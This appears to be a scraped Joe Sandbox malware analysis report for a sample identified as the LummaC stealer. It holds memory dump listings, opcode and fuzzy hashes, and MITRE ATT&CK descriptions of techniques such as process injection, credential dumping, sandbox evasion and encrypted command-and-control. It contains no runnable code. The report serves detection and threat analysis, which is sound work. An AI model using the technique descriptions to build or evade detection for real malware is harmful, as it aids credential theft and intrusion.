Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2cbf9be0a32a280ea8f542a0b65a0c4ae4d407f743efb19e9b9a2a351eda90
Instruction ID: bf60d823994067d1741877793a2a4f09996a7acf41406ea24b00bc48909a0262
Opcode Fuzzy Hash: 6e2cbf9be0a32a280ea8f542a0b65a0c4ae4d407f743efb19e9b9a2a351eda90
Instruction Fuzzy Hash: A42137F3F20A2047F3984879DD58362958397A5314F2F82798F4DA77C6EC7E5C0A1284

Function 05FFFFED Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43367cb81b17ca8ce6eb34a9dcfd6947dd83b87ba8bcc476f6c41478301b4ab1
Instruction ID: 90b8ef0f288227a70d521e9dd2400f1a4cf26c39cabf6b2776c3a31f4057b29e
Opcode Fuzzy Hash: 43367cb81b17ca8ce6eb34a9dcfd6947dd83b87ba8bcc476f6c41478301b4ab1
Instruction Fuzzy Hash: AF2159B3F116214BF7544829DCA9362A243A7D5325F2F82788F6CAB7C1DC7E9C0A5384

Function 05FEA2B5 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc84ca1d64919043cf10a547e63d1634522e042c46aa1025c0f1fd866c19c7f
Instruction ID: 44a4bddfa55f46d8fefc8b75865f4c4acc01ce7c12def4e275261739ef8a58cd
Opcode Fuzzy Hash: 5dc84ca1d64919043cf10a547e63d1634522e042c46aa1025c0f1fd866c19c7f
Instruction Fuzzy Hash: C4215CB7F505304BF3548879DD943926552A7A5304F2B82388E9CABBC9ECBE5C4A53C4

Function 05FE0D96 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d14efbe578a989de2fe2bb41bb33ddb9571acb8316bbad06ecfe07361672c8
Instruction ID: a08d409956b938cf49d45b1e043df686e5a9cdb0b22dccd5a2324afa07d4684a
Opcode Fuzzy Hash: c2d14efbe578a989de2fe2bb41bb33ddb9571acb8316bbad06ecfe07361672c8
Instruction Fuzzy Hash: 40218C719083898FDB15EF54C4487AEB7F6FF54305F05482DC98243A80DB391DA4CB8A

Function 0607E120 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1705767222.0000000005FDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FD0000, based on PE: true

Associated: 00000000.00000002.1705685339.0000000005FD0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705710628.0000000005FD2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705742902.0000000005FD6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006168000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006283000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006292000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1705767222.0000000006294000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5fd0000_2RxMkSAgZ8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde461db067f4975424475ade89c149d37a714bcca0577c103c70c4cf4877c9b
Instruction ID: 6015ca18837ef4af71796b0e05bb9b1ef5311fa2d4dde2c2b8d05061288ea956
Opcode Fuzzy Hash: bde461db067f4975424475ade89c149d37a714bcca0577c103c70c4cf4877c9b
Instruction Fuzzy Hash: D311A3B3E156614BF3554974CC683627B62AF92310F2F42BA8F8DAB6C6D83C1C0957C4

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2RxMkSAgZ8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
2RxMkSAgZ8.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre